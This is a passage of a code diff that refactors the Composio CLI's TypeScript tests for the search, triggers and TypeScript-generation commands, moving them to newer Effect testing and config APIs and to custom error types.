842 - recommended_plan_steps: ['Collect recipient details', 'Execute send action'],
843 - },
844 - ],
845 - tool_schemas: {
846 - GMAIL_SEND_EMAIL: {
847 - tool_slug: 'GMAIL_SEND_EMAIL',
848 - toolkit: 'gmail',
849 - description: 'Sends an email',
850 - hasFullSchema: true,
851 - input_schema: { type: 'object', properties: {} },
852 - output_schema: { type: 'object', properties: {} },
853 - },
854 - },
855 - toolkit_connection_statuses: [
856 - {
857 - toolkit: 'gmail',
858 - description: 'gmail toolkit',
859 - has_active_connection: false,
860 - status_message: 'No active connection',
861 - },
862 - ],
863 - next_steps_guidance: ['Fallback guidance'],
864 - session: {
865 - id: 'trs_test_session',
866 - generate_id: false,
867 - instructions: 'Reuse this session id for follow-up calls.',
740 + {
741 + let searchParams: SessionSearchParams | undefined;
742 +
743 + layer(
744 + TestLive({
745 + baseConfigProvider: testConfigProvider,
746 + toolkitsData,
747 + fixture: 'global-test-user-id',
748 + toolRouter: {
749 + search: async (_sessionId, params) => {
750 + searchParams = params;
751 + return {
752 + success: true,
753 + error: null,
754 + results: params.queries.map((query, index) => ({
755 + index: index + 1,
756 + use_case: query.use_case ?? '',
757 + primary_tool_slugs:
758 + query.use_case === 'create issue'
759 + ? ['GITHUB_CREATE_ISSUE']
760 + : ['GMAIL_SEND_EMAIL'],
761 + related_tool_slugs: [],
762 + toolkits: query.use_case === 'create issue' ? ['github'] : ['gmail'],
763 + })),
764 + tool_schemas: {
765 + GMAIL_SEND_EMAIL: {
766 + tool_slug: 'GMAIL_SEND_EMAIL',
767 + toolkit: 'gmail',
768 + description: 'Sends an email',
769 + hasFullSchema: true,
770 + input_schema: { type: 'object', properties: {} },
771 + output_schema: { type: 'object', properties: {} },
772 },
869 - time_info: {
870 - current_time_utc: '2026-01-01T00:00:00.000Z',
871 - current_time_utc_epoch_seconds: 1767225600,
872 - message: 'UTC time',
773 + GITHUB_CREATE_ISSUE: {
774 + tool_slug: 'GITHUB_CREATE_ISSUE',
775 + toolkit: 'github',
776 + description: 'Creates a GitHub issue',
777 + hasFullSchema: true,
778 + input_schema: { type: 'object', properties: {} },
779 + output_schema: { type: 'object', properties: {} },
780 },
874 - }),
875 - },
876 - });
781 + },
782 + toolkit_connection_statuses: [],
783 + next_steps_guidance: [],
784 + session: {
785 + id: 'trs_test_session',
786 + generate_id: false,
787 + instructions: 'Reuse this session id for follow-up calls.',
788 + },
789 + time_info: {
790 + current_time_utc: '2026-01-01T00:00:00.000Z',
791 + current_time_utc_epoch_seconds: 1767225600,
792 + message: 'UTC time',
793 + },
794 + };
795 + },
796 + },
797 + })
798 + )(
799 + '[Given] multiple queries [Then] search passes all queries to the tool-router session',
800 + it => {
801 + it.effect('passes batched queries without a parallel flag', () =>
802 + Effect.gen(function* () {
803 + yield* cli(['search', 'send', 'create issue']);
804 +
805 + expect(searchParams?.queries.map(query => query.use_case)).toEqual([
806 + 'send',
807 + 'create issue',
808 + ]);
809 + })
810 + );
811 + }
812 + );
813 + }
814
878 - yield* cli(['search', 'send email', '--human']).pipe(Effect.provide(live));
879 - const lines = yield* MockConsole.getLines({ stripAnsi: true });
880 - const output = lines.join('\n');
815 + layer(
816 + TestLive({
817 + baseConfigProvider: testConfigProvider,
818 + toolkitsData,
819 + fixture: 'global-test-user-id',
820 + toolRouter: {
821 + search: async (_sessionId, params) => ({
822 + success: true,
823 + error: null,
824 + results: [
825 + {
826 + index: 1,
827 + use_case: params.queries[0]?.use_case ?? '',
828 + primary_tool_slugs: ['GMAIL_SEND_EMAIL'],
829 + related_tool_slugs: [],
830 + toolkits: ['gmail'],
831 + recommended_plan_steps: ['Collect recipient details', 'Execute send action'],
832 + },
833 + ],
834 + tool_schemas: {
835 + GMAIL_SEND_EMAIL: {
836 + tool_slug: 'GMAIL_SEND_EMAIL',
837 + toolkit: 'gmail',
838 + description: 'Sends an email',
839 + hasFullSchema: true,
840 + input_schema: { type: 'object', properties: {} },
841 + output_schema: { type: 'object', properties: {} },
842 + },
843 + },
844 + toolkit_connection_statuses: [
845 + {
846 + toolkit: 'gmail',
847 + description: 'gmail toolkit',
848 + has_active_connection: false,
849 + status_message: 'No active connection',
850 + },
851 + ],
852 + next_steps_guidance: ['Fallback guidance'],
853 + session: {
854 + id: 'trs_test_session',
855 + generate_id: false,
856 + instructions: 'Reuse this session id for follow-up calls.',
857 + },
858 + time_info: {
859 + current_time_utc: '2026-01-01T00:00:00.000Z',
860 + current_time_utc_epoch_seconds: 1767225600,
861 + message: 'UTC time',
862 + },
863 + }),
864 + },
865 + })
866 + )('[Given] search response with recommended plan [Then] it prints plan and execute hint', it => {
867 + it.effect('prints plan and command hints', () =>
868 + Effect.gen(function* () {
869 + yield* cli(['search', 'send email', '--human']);
870 + const lines = yield* MockConsole.getLines({ stripAnsi: true });
871 + const output = lines.join('\n');
872
882 - expect(output).toContain('Plan:');
883 - expect(output).toContain('1. Collect recipient details');
884 - expect(output).toContain('Execute a tool:');
885 - expect(output).toContain(`composio execute "GMAIL_SEND_EMAIL" -d "{}"`);
886 - expect(output).toContain(`composio link <toolkit>`);
887 - })
888 - );
889 - }
890 - );
873 + expect(output).toContain('Plan:');
874 + expect(output).toContain('1. Collect recipient details');
875 + expect(output).toContain('Execute a tool:');
876 + expect(output).toContain(`composio execute "GMAIL_SEND_EMAIL" -d "{}"`);
877 + expect(output).toContain(`composio link <toolkit>`);
878 + })
879 + );
880 + });
881
882 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
893 - it.scoped('warns user to login', () =>
883 + it.effect('warns user to login', () =>
884 Effect.gen(function* () {
885 yield* cli(['search', 'send', '--human']);
886 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -901,40 +891,40 @@ describe('CLI: composio search', () => {
891 );
892 });
893
904 - layer(TestLive(testLiveOptions))(
905 - '[Given] consumer search [Then] it uses the resolved consumer user id',
906 - it => {
907 - it.scoped('uses consumer user id from the resolved project context', () =>
908 - Effect.gen(function* () {
909 - let createParams: SessionCreateParams | undefined;
910 - const live = TestLive({
911 - ...testLiveOptions,
912 - toolRouter: {
913 - create: async params => {
914 - createParams = params;
915 - return {
916 - session_id: 'trs_test_session',
917 - config: {
918 - user_id: params.user_id,
919 - execute: {},
920 - search: {},
921 - preload: { tools: [] },
922 - },
923 - config_version: 1,
924 - mcp: { type: 'http', url: 'https://mcp.test.composio.dev' },
925 - tool_router_tools: ['COMPOSIO_SEARCH_TOOLS'],
926 - };
894 + {
895 + let createParams: SessionCreateParams | undefined;
896 +
897 + layer(
898 + TestLive({
899 + ...testLiveOptions,
900 + toolRouter: {
901 + create: async params => {
902 + createParams = params;
903 + return {
904 + session_id: 'trs_test_session',
905 + config: {
906 + user_id: params.user_id,
907 + execute: {},
908 + search: {},
909 + preload: { tools: [] },
910 },
928 - },
929 - });
930 -
931 - yield* cli(['search', 'send']).pipe(Effect.provide(live));
911 + config_version: 1,
912 + mcp: { type: 'http', url: 'https://mcp.test.composio.dev' },
913 + tool_router_tools: ['COMPOSIO_SEARCH_TOOLS'],
914 + };
915 + },
916 + },
917 + })
918 + )('[Given] consumer search [Then] it uses the resolved consumer user id', it => {
919 + it.effect('uses consumer user id from the resolved project context', () =>
920 + Effect.gen(function* () {
921 + yield* cli(['search', 'send']);
922
923 expect(createParams?.user_id).toBe('consumer-user-org_test');
924 })
925 );
936 - }
937 - );
926 + });
927 + }
928
929 layer(
930 TestLive({
@@ -943,7 +933,7 @@ describe('CLI: composio search', () => {
933 toolkitsData,
934 })
935 )('[Given] no explicit --user-id [Then] consumer search does not require one', it => {
946 - it.scoped('runs without printing global test user diagnostics', () =>
936 + it.effect('runs without printing global test user diagnostics', () =>
937 Effect.gen(function* () {
938 yield* cli(['search', 'send']);
939 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -959,7 +949,7 @@ describe('CLI: composio search', () => {
949 layer(TestLive(testLiveOptions))(
950 '[Given] composio search [Then] runs the root search flow',
951 it => {
962 - it.scoped('search returns matching tools', () =>
952 + it.effect('search returns matching tools', () =>
953 Effect.gen(function* () {
954 yield* cli(['search', 'send', '--human']);
955 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/triggers/triggers.info.cmd.test.ts
+8 -8
@@ -50,15 +50,15 @@ const toolkitsData = {
50 triggerTypes: testTriggerTypes,
51 } satisfies TestLiveInput['toolkitsData'];
52
53 -const testConfigProvider = ConfigProvider.fromMap(
54 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
55 -).pipe(extendConfigProvider);
53 +const testConfigProvider = ConfigProvider.fromEnv({
54 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
55 +}).pipe(extendConfigProvider);
56
57 describe('CLI: composio dev triggers info', () => {
58 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
59 '[Given] root triggers info [Then] displays trigger info with root-level hint',
60 it => {
61 - it.scoped('supports the top-level triggers info entrypoint', () =>
61 + it.effect('supports the top-level triggers info entrypoint', () =>
62 Effect.gen(function* () {
63 yield* cli(['triggers', 'info', 'GMAIL_NEW_GMAIL_MESSAGE']);
64 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -74,7 +74,7 @@ describe('CLI: composio dev triggers info', () => {
74 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
75 '[Given] valid slug [Then] displays trigger type info',
76 it => {
77 - it.scoped('shows trigger details with config and payload fields', () =>
77 + it.effect('shows trigger details with config and payload fields', () =>
78 Effect.gen(function* () {
79 yield* cli(['dev', 'triggers', 'info', 'GMAIL_NEW_GMAIL_MESSAGE']);
80 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -98,7 +98,7 @@ describe('CLI: composio dev triggers info', () => {
98 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
99 '[Given] no slug [Then] warns missing argument',
100 it => {
101 - it.scoped('shows missing argument warning', () =>
101 + it.effect('shows missing argument warning', () =>
102 Effect.gen(function* () {
103 yield* cli(['dev', 'triggers', 'info']);
104 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -113,7 +113,7 @@ describe('CLI: composio dev triggers info', () => {
113 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
114 '[Given] invalid slug [Then] shows not found hint',
115 it => {
116 - it.scoped('shows not found fallback hint', () =>
116 + it.effect('shows not found fallback hint', () =>
117 Effect.gen(function* () {
118 yield* cli(['dev', 'triggers', 'info', 'NONEXISTENT_TRIGGER']);
119 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -127,7 +127,7 @@ describe('CLI: composio dev triggers info', () => {
127 );
128
129 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
130 - it.scoped('warns user to login', () =>
130 + it.effect('warns user to login', () =>
131 Effect.gen(function* () {
132 yield* cli(['dev', 'triggers', 'info', 'GMAIL_NEW_GMAIL_MESSAGE']);
133 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/triggers/triggers.list.cmd.test.ts
+26 -20
@@ -1,4 +1,3 @@
1 -import { ValidationError } from '@effect/cli';
1 import { describe, expect, layer } from '@effect/vitest';
2 import { Cause, ConfigProvider, Effect, Exit } from 'effect';
3 import { extendConfigProvider } from 'src/services/config';
@@ -50,15 +49,15 @@ const toolkitsData = {
49 triggerTypes: testTriggerTypes,
50 } satisfies TestLiveInput['toolkitsData'];
51
53 -const testConfigProvider = ConfigProvider.fromMap(
54 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
55 -).pipe(extendConfigProvider);
52 +const testConfigProvider = ConfigProvider.fromEnv({
53 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
54 +}).pipe(extendConfigProvider);
55
56 describe('CLI: composio dev triggers list', () => {
57 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
58 '[Given] root triggers list [Then] lists trigger types with root-level hint',
59 it => {
61 - it.scoped('supports the top-level triggers list entrypoint', () =>
60 + it.effect('supports the top-level triggers list entrypoint', () =>
61 Effect.gen(function* () {
62 yield* cli(['triggers', 'list', 'gmail']);
63 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -75,20 +74,20 @@ describe('CLI: composio dev triggers list', () => {
74 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
75 '[Given] root triggers list with nonexistent toolkit [Then] shows root toolkit hint',
76 it => {
78 - it.scoped('uses root toolkit command in the no-results hint', () =>
77 + it.effect('uses root toolkit command in the no-results hint', () =>
78 Effect.gen(function* () {
79 const exit = yield* Effect.exit(cli(['triggers', 'list', 'nonexistent']));
80 expect(Exit.isFailure(exit)).toBe(true);
81 if (Exit.isFailure(exit)) {
82 const failure = Cause.squash(exit.cause);
84 - expect(
85 - ValidationError.isValidationError(failure) && ValidationError.isInvalidValue(failure)
86 - ).toBe(true);
83 + expect(failure).toMatchObject({
84 + _tag: 'commands/TriggersListOptionError',
85 + message: expect.stringContaining('not available'),
86 + });
87 }
88 const lines = yield* MockConsole.getLines({ stripAnsi: true });
89 const output = lines.join('\n');
90
91 - expect(output).toContain('not available');
91 expect(output).toContain('composio toolkits list');
92 expect(output).not.toContain('composio dev toolkits list');
93 })
@@ -99,7 +98,7 @@ describe('CLI: composio dev triggers list', () => {
98 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
99 '[Given] no toolkit [Then] parse fails because toolkit is required',
100 it => {
102 - it.scoped('requires a toolkit positional argument', () =>
101 + it.effect('requires a toolkit positional argument', () =>
102 Effect.gen(function* () {
103 const exit = yield* cli(['triggers', 'list']).pipe(Effect.exit);
104 expect(JSON.stringify(exit)).toContain('toolkit');
@@ -111,7 +110,7 @@ describe('CLI: composio dev triggers list', () => {
110 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
111 '[Given] no flags [Then] lists all trigger types',
112 it => {
114 - it.scoped('lists all trigger types', () =>
113 + it.effect('lists all trigger types', () =>
114 Effect.gen(function* () {
115 yield* cli(['dev', 'triggers', 'list', 'gmail']);
116 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -128,7 +127,7 @@ describe('CLI: composio dev triggers list', () => {
127 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
128 '[Given] toolkit "gmail" [Then] lists only gmail trigger types',
129 it => {
131 - it.scoped('filters by toolkit', () =>
130 + it.effect('filters by toolkit', () =>
131 Effect.gen(function* () {
132 yield* cli(['dev', 'triggers', 'list', 'gmail']);
133 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -146,7 +145,7 @@ describe('CLI: composio dev triggers list', () => {
145 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
146 '[Given] --limit 1 [Then] lists one trigger type with singular grammar',
147 it => {
149 - it.scoped('uses singular form for one result', () =>
148 + it.effect('uses singular form for one result', () =>
149 Effect.gen(function* () {
150 yield* cli(['dev', 'triggers', 'list', 'gmail', '--limit', '1']);
151 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -162,7 +161,7 @@ describe('CLI: composio dev triggers list', () => {
161 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
162 '[Given] no flags [Then] shows next step hint',
163 it => {
165 - it.scoped('shows hint to view trigger details', () =>
164 + it.effect('shows hint to view trigger details', () =>
165 Effect.gen(function* () {
166 yield* cli(['dev', 'triggers', 'list', 'gmail']);
167 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -175,7 +174,7 @@ describe('CLI: composio dev triggers list', () => {
174 );
175
176 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
178 - it.scoped('warns user to login', () =>
177 + it.effect('warns user to login', () =>
178 Effect.gen(function* () {
179 yield* cli(['dev', 'triggers', 'list', 'gmail']);
180 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -192,7 +191,7 @@ describe('CLI: composio dev triggers list', () => {
191 toolkitsData: { toolkits: makeTestToolkits([{ name: 'Gmail', slug: 'gmail' }]) },
192 })
193 )('[Given] empty results [Then] shows no trigger types found', it => {
195 - it.scoped('shows no trigger types found', () =>
194 + it.effect('shows no trigger types found', () =>
195 Effect.gen(function* () {
196 yield* cli(['dev', 'triggers', 'list', 'gmail']);
197 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -206,13 +205,20 @@ describe('CLI: composio dev triggers list', () => {
205 layer(TestLive({ baseConfigProvider: testConfigProvider, toolkitsData }))(
206 '[Given] toolkit "nonexistent" [Then] shows invalid toolkit error with hint',
207 it => {
209 - it.scoped('shows hint about verifying toolkit slug', () =>
208 + it.effect('shows hint about verifying toolkit slug', () =>
209 Effect.gen(function* () {
211 - yield* cli(['dev', 'triggers', 'list', 'nonexistent']).pipe(Effect.ignore);
210 + const exit = yield* Effect.exit(cli(['dev', 'triggers', 'list', 'nonexistent']));
211 + expect(Exit.isFailure(exit)).toBe(true);
212 + if (Exit.isFailure(exit)) {
213 + const failure = Cause.squash(exit.cause);
214 + expect(failure).toMatchObject({
215 + _tag: 'commands/TriggersListOptionError',
216 + message: expect.stringContaining('not available'),
217 + });
218 + }
219 const lines = yield* MockConsole.getLines({ stripAnsi: true });
220 const output = lines.join('\n');
221
215 - expect(output).toContain('not available');
222 expect(output).toContain('composio dev toolkits list');
223 })
224 );
ts/packages/cli/test/src/commands/triggers/triggers.mutations.cmd.test.ts
+11 -11
@@ -3,9 +3,9 @@ import { ConfigProvider, Effect } from 'effect';
3 import { extendConfigProvider } from 'src/services/config';
4 import { cli, MockConsole, TestLive } from 'test/__utils__';
5
6 -const testConfigProvider = ConfigProvider.fromMap(
7 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
8 -).pipe(extendConfigProvider);
6 +const testConfigProvider = ConfigProvider.fromEnv({
7 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
8 +}).pipe(extendConfigProvider);
9
10 const dangerousDevConfig = {
11 baseConfigProvider: testConfigProvider,
@@ -16,7 +16,7 @@ describe('CLI: composio dev triggers mutations', () => {
16 layer(TestLive(dangerousDevConfig))(
17 '[Given] create with valid args [Then] creates trigger',
18 it => {
19 - it.scoped('creates trigger and prints id', () =>
19 + it.effect('creates trigger and prints id', () =>
20 Effect.gen(function* () {
21 yield* cli([
22 'dev',
@@ -40,7 +40,7 @@ describe('CLI: composio dev triggers mutations', () => {
40 layer(TestLive(dangerousDevConfig))(
41 '[Given] create with invalid JSON config [Then] shows JSON validation error',
42 it => {
43 - it.scoped('rejects invalid trigger config JSON', () =>
43 + it.effect('rejects invalid trigger config JSON', () =>
44 Effect.gen(function* () {
45 yield* cli([
46 'dev',
@@ -61,7 +61,7 @@ describe('CLI: composio dev triggers mutations', () => {
61 );
62
63 layer(TestLive(dangerousDevConfig))('[Given] enable with ID [Then] enables trigger', it => {
64 - it.scoped('enables trigger successfully', () =>
64 + it.effect('enables trigger successfully', () =>
65 Effect.gen(function* () {
66 yield* cli(['dev', 'triggers', 'enable', 'trg_123', '--dangerously-allow']);
67 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -72,7 +72,7 @@ describe('CLI: composio dev triggers mutations', () => {
72 });
73
74 layer(TestLive(dangerousDevConfig))('[Given] disable with ID [Then] disables trigger', it => {
75 - it.scoped('disables trigger successfully', () =>
75 + it.effect('disables trigger successfully', () =>
76 Effect.gen(function* () {
77 yield* cli(['dev', 'triggers', 'disable', 'trg_123', '--dangerously-allow']);
78 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -85,7 +85,7 @@ describe('CLI: composio dev triggers mutations', () => {
85 layer(TestLive(dangerousDevConfig))(
86 '[Given] create with non-object JSON config [Then] shows type validation error',
87 it => {
88 - it.scoped('rejects array JSON in --trigger-config', () =>
88 + it.effect('rejects array JSON in --trigger-config', () =>
89 Effect.gen(function* () {
90 yield* cli([
91 'dev',
@@ -103,7 +103,7 @@ describe('CLI: composio dev triggers mutations', () => {
103 })
104 );
105
106 - it.scoped('rejects number JSON in --trigger-config', () =>
106 + it.effect('rejects number JSON in --trigger-config', () =>
107 Effect.gen(function* () {
108 yield* cli([
109 'dev',
@@ -126,7 +126,7 @@ describe('CLI: composio dev triggers mutations', () => {
126 layer(TestLive(dangerousDevConfig))(
127 '[Given] missing ID for enable [Then] warns about missing argument',
128 it => {
129 - it.scoped('shows missing id warning', () =>
129 + it.effect('shows missing id warning', () =>
130 Effect.gen(function* () {
131 yield* cli(['dev', 'triggers', 'enable', '--dangerously-allow']);
132 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -140,7 +140,7 @@ describe('CLI: composio dev triggers mutations', () => {
140 layer(TestLive(dangerousDevConfig))(
141 '[Given] missing ID for disable [Then] warns about missing argument',
142 it => {
143 - it.scoped('shows missing id warning', () =>
143 + it.effect('shows missing id warning', () =>
144 Effect.gen(function* () {
145 yield* cli(['dev', 'triggers', 'disable', '--dangerously-allow']);
146 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/triggers/triggers.status.cmd.test.ts
+10 -16
@@ -51,15 +51,15 @@ const triggersData = {
51 items: testTriggers,
52 } satisfies TestLiveInput['triggersData'];
53
54 -const testConfigProvider = ConfigProvider.fromMap(
55 - new Map([['COMPOSIO_USER_API_KEY', 'test_api_key']])
56 -).pipe(extendConfigProvider);
54 +const testConfigProvider = ConfigProvider.fromEnv({
55 + env: { COMPOSIO_USER_API_KEY: 'test_api_key' },
56 +}).pipe(extendConfigProvider);
57
58 describe('CLI: composio dev triggers status', () => {
59 layer(TestLive({ baseConfigProvider: testConfigProvider, triggersData }))(
60 '[Given] no flags [Then] lists active triggers only',
61 it => {
62 - it.scoped('lists active trigger instances', () =>
62 + it.effect('lists active trigger instances', () =>
63 Effect.gen(function* () {
64 yield* cli(['dev', 'triggers', 'status']);
65 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -77,7 +77,7 @@ describe('CLI: composio dev triggers status', () => {
77 layer(TestLive({ baseConfigProvider: testConfigProvider, triggersData }))(
78 '[Given] --show-disabled [Then] includes disabled triggers',
79 it => {
80 - it.scoped('includes disabled trigger instances', () =>
80 + it.effect('includes disabled trigger instances', () =>
81 Effect.gen(function* () {
82 yield* cli(['dev', 'triggers', 'status', '--show-disabled']);
83 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -94,7 +94,7 @@ describe('CLI: composio dev triggers status', () => {
94 layer(TestLive({ baseConfigProvider: testConfigProvider, triggersData }))(
95 '[Given] --user-ids [Then] filters by user IDs',
96 it => {
97 - it.scoped('filters by user_ids', () =>
97 + it.effect('filters by user_ids', () =>
98 Effect.gen(function* () {
99 yield* cli(['dev', 'triggers', 'status', '--user-ids', 'user_123']);
100 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -111,15 +111,9 @@ describe('CLI: composio dev triggers status', () => {
111 layer(TestLive({ baseConfigProvider: testConfigProvider, triggersData }))(
112 '[Given] --trigger-names lowercase [Then] applies case-insensitive filter',
113 it => {
114 - it.scoped('normalizes trigger names to uppercase', () =>
114 + it.effect('normalizes trigger names to uppercase', () =>
115 Effect.gen(function* () {
116 - yield* cli([
117 - 'dev',
118 - 'triggers',
119 - 'status',
120 - '--trigger-names',
121 - 'gmail_new_gmail_message',
122 - ]);
116 + yield* cli(['dev', 'triggers', 'status', '--trigger-names', 'gmail_new_gmail_message']);
117 const lines = yield* MockConsole.getLines({ stripAnsi: true });
118 const output = lines.join('\n');
119
@@ -134,7 +128,7 @@ describe('CLI: composio dev triggers status', () => {
128 layer(TestLive({ baseConfigProvider: testConfigProvider, triggersData }))(
129 '[Given] --toolkits [Then] filters by toolkit slug',
130 it => {
137 - it.scoped('filters by toolkit prefix in trigger name', () =>
131 + it.effect('filters by toolkit prefix in trigger name', () =>
132 Effect.gen(function* () {
133 yield* cli(['dev', 'triggers', 'status', '--toolkits', 'slack']);
134 const lines = yield* MockConsole.getLines({ stripAnsi: true });
@@ -149,7 +143,7 @@ describe('CLI: composio dev triggers status', () => {
143 );
144
145 layer(TestLive())('[Given] no API key [Then] warns user to login', it => {
152 - it.scoped('warns user to login', () =>
146 + it.effect('warns user to login', () =>
147 Effect.gen(function* () {
148 yield* cli(['dev', 'triggers', 'status']);
149 const lines = yield* MockConsole.getLines({ stripAnsi: true });
ts/packages/cli/test/src/commands/ts/ts.generate.cmd.test.ts
+26 -29
@@ -1,9 +1,8 @@
1 import assert from 'node:assert';
2 import path from 'node:path';
3 -import { HelpDoc, ValidationError } from '@effect/cli';
3 import { describe, expect, layer } from '@effect/vitest';
4 import { Effect } from 'effect';
6 -import * as FileSystem from '@effect/platform/FileSystem';
5 +import * as FileSystem from 'effect/FileSystem';
6 import { cli, TestLive } from 'test/__utils__';
7 import { makeTestToolkits } from 'test/__utils__/models/toolkits';
8 import { NodeProcess } from 'src/services/node-process';
@@ -12,6 +11,7 @@ import {
11 assertTypeScriptIsValid,
12 } from 'test/__utils__/typescript-compiler';
13 import { ComposioCorePkgNotFound } from 'src/effects/find-composio-core-generated';
14 +import { TypeScriptGenerationInputError } from 'src/commands/ts/commands/ts.generate.cmd';
15 import type { TestLiveInput } from 'test/__utils__/services/test-layer';
16 import { TRIGGER_TYPES_GMAIL } from 'test/__mocks__/trigger-types-gmail';
17 import { TOOLS_TYPES_GMAIL } from 'test/__mocks__/tools-types-gmail';
@@ -47,9 +47,7 @@ describe('CLI: composio generate ts', () => {
47 const nodeModulesDir = path.join(nodeModulesRoot, '@composio', 'core');
48
49 // Some fixtures may carry broken node_modules links after copying; reset to a real directory.
50 - yield* fs
51 - .remove(nodeModulesRoot, { recursive: true })
52 - .pipe(Effect.catchAll(() => Effect.void));
50 + yield* fs.remove(nodeModulesRoot, { recursive: true }).pipe(Effect.catch(() => Effect.void));
51 yield* fs.makeDirectory(nodeModulesDir, { recursive: true });
52
53 if (withGenerated) {
@@ -119,7 +117,7 @@ describe('CLI: composio generate ts', () => {
117 })
118 )(it => {
119 describe('[Given] `@composio/core` already installed', () => {
122 - it.scoped(
120 + it.effect(
121 '[Given] no args [Then] it generates types + JS in `node_modules/@composio/core/generated`',
122 () =>
123 Effect.gen(function* () {
@@ -326,7 +324,7 @@ describe('CLI: composio generate ts', () => {
324 })
325 );
326
329 - it.scoped('[Given] --type-tools [Then] it generates types for tools as well', () =>
327 + it.effect('[Given] --type-tools [Then] it generates types for tools as well', () =>
328 Effect.gen(function* () {
329 const process = yield* NodeProcess;
330 const cwd = process.cwd;
@@ -563,7 +561,7 @@ describe('CLI: composio generate ts', () => {
561 })
562 );
563
566 - it.scoped(
564 + it.effect(
565 '[Given] --output-dir [Then] it generates type stubs relative to the given output directory',
566 () =>
567 Effect.gen(function* () {
@@ -752,7 +750,7 @@ describe('CLI: composio generate ts', () => {
750 })
751 );
752
755 - it.scoped('[Given] --compact [Then] it generates type stubs in a single file', () =>
753 + it.effect('[Given] --compact [Then] it generates type stubs in a single file', () =>
754 Effect.gen(function* () {
755 const process = yield* NodeProcess;
756 const cwd = process.cwd;
@@ -779,7 +777,7 @@ describe('CLI: composio generate ts', () => {
777 })
778 );
779
782 - it.scoped('[Given] --transpiled [Then] it generates both .ts and .mjs files', () =>
780 + it.effect('[Given] --transpiled [Then] it generates both .ts and .mjs files', () =>
781 Effect.gen(function* () {
782 const process = yield* NodeProcess;
783 const cwd = process.cwd;
@@ -811,7 +809,7 @@ describe('CLI: composio generate ts', () => {
809 })
810 );
811
814 - it.scoped('[Given] no `--output-dir` [Then] it compiles by default', () =>
812 + it.effect('[Given] no `--output-dir` [Then] it compiles by default', () =>
813 Effect.gen(function* () {
814 const process = yield* NodeProcess;
815 const cwd = process.cwd;
@@ -840,7 +838,7 @@ describe('CLI: composio generate ts', () => {
838 })
839 );
840
843 - it.scoped(
841 + it.effect(
842 '[Given] `--output-dir` with no `--transpiled` [Then] it does not generate .js files',
843 () =>
844 Effect.gen(function* () {
@@ -865,7 +863,7 @@ describe('CLI: composio generate ts', () => {
863 })
864 );
865
868 - it.scoped('[Given] `--compact` [Then] it generates in the correct location', () =>
866 + it.effect('[Given] `--compact` [Then] it generates in the correct location', () =>
867 Effect.gen(function* () {
868 const process = yield* NodeProcess;
869 const cwd = process.cwd;
@@ -922,7 +920,7 @@ describe('CLI: composio generate ts', () => {
920 })
921 );
922
925 - it.scoped(
923 + it.effect(
924 '[Given] --toolkits gmail [Then] it generates type stubs only for the gmail toolkit',
925 () =>
926 Effect.gen(function* () {
@@ -952,7 +950,7 @@ describe('CLI: composio generate ts', () => {
950 })
951 );
952
955 - it.scoped(
953 + it.effect(
954 '[Given] --toolkits gmail --toolkits slack [Then] it generates type stubs for both toolkits',
955 () =>
956 Effect.gen(function* () {
@@ -991,22 +989,21 @@ describe('CLI: composio generate ts', () => {
989 })
990 );
991
994 - it.scoped('[Given] --toolkits with invalid toolkit [Then] it fails with an error', () =>
992 + it.effect('[Given] --toolkits with invalid toolkit [Then] it fails with an error', () =>
993 Effect.gen(function* () {
994 const process = yield* NodeProcess;
995 const cwd = process.cwd;
996 const outputDir = path.join(cwd, 'generated-invalid');
997
998 const args = ['generate', 'ts', '--toolkits', 'nonexistent', '--output-dir', outputDir];
1001 - const result = yield* cli(args).pipe(Effect.catchAll(e => Effect.succeed(e)));
999 + const result = yield* cli(args).pipe(Effect.catch(e => Effect.succeed(e)));
1000
1003 - assert.ok(ValidationError.isValidationError(result));
1004 - assert.ok(ValidationError.isInvalidValue(result));
1005 - expect(HelpDoc.toAnsiText(result.error)).toContain('Invalid toolkit(s): nonexistent');
1001 + assert.ok(result instanceof TypeScriptGenerationInputError);
1002 + expect(result.message).toContain('Invalid toolkit(s): nonexistent');
1003 })
1004 );
1005
1009 - it.scoped(
1006 + it.effect(
